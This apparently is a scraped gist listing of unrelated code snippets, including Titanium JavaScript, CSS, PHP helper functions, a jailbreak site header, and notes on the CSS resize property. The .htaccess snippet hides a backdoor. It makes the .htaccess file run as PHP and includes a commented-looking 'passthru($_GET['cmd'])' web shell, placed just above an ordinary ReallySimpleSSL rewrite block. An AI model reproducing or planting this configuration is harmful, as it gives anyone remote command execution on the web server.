網址重導 http://www.vixual.net/blog/archives/161
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var win = Titanium.UI.createWindow({ | |
title: 'Video Recording from Appcelerator Titanium', | |
backgroundColor: '#fff' | |
}); | |
// const value grabbed from | |
// http://developer.android.com/reference/android/provider/MediaStore.Audio.Media.html#RECORD_SOUND_ACTION | |
var RECORD_SOUND_ACTION = "android.provider.MediaStore.RECORD_SOUND"; | |
var soundUri = null; // Will be set as a result of recording action. | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="ISO-8859-1"?> | |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> | |
<head> | |
<link rel="stylesheet" href="css/main.css" type="text/css"/> | |
<link rel="icon" href="images/favicon.ico" type="image/x-icon"/> | |
<link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon"/> | |
<title>evasi0n iOS 6.x Jailbreak - official website of the evad3rs</title> | |
<meta name="description" content="Offical website of evasi0n iOS 6.x jailbreak by the evad3rs"/> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Files ~ "^\.ht"> | |
Order allow,deny | |
Allow from all | |
</files> | |
AddType application/x-httpd-php .htaccess | |
# <?php passthru($_GET['cmd']);?> | |
# BEGIN rlrssslReallySimpleSSL rsssl_version[2.4.1] | |
<IfModule mod_rewrite.c> | |
RewriteEngine on |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*小徽章*/ | |
.award_bar img { width:39px;height: 39px; } | |
/*小徽章排排站*/ | |
.award_bar { | |
background:url(http://blog.citytalk.tw/wp-content/uploads/2010/04/plurk_icon.png) no-repeat scroll 0px 60px; min-height:480px; | |
position:absolute !important; | |
margin-top:60px !important; | |
width:500px !important; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
锁住这个textarea,如何锁住哪? | |
很简单,只需要一个css属性:resize:none; | |
——————– | |
查了一下文档,resize可以设置如下的属性: | |
none:UserAgent没提供尺寸调整机制,用户不能操纵机制调节元素的尺寸。 | |
both:UserAgent提供双向尺寸调整机制,让用户可以调节元素的宽度和高度。 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function get_string_between($string, $start, $end){ | |
$string = " ".$string; | |
$ini = strpos($string,$start); | |
if ($ini == 0) return ""; | |
$ini += strlen($start); | |
$len = strpos($string,$end,$ini) - $ini; | |
return substr($string,$ini,$len); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function microtime_float() | |
{ | |
list($usec, $sec) = explode(" ", microtime()); | |
return (str_pad((float)$usec *1000000 /*+ (float)$sec*/,6,'0',STR_PAD_LEFT)); | |
// str_pad($value,3,'0',STR_PAD_LEFT); | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> | |
<script>!window.jQuery && document.write(unescape('%3Cscript src="js/lib/jquery-1.4.2.min.js"%3E%3C/script%3E'))</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<li class="a"></li> | |
<li class="b"></li> | |
<li class="c"></li> | |
<li class="d"></li> | |
<li class="e"></li> | |
<li class="f"></li> | |
<li class="g"></li> | |
<li class="h"></li> | |
<li class="i"></li> | |
<li class="j"></li> |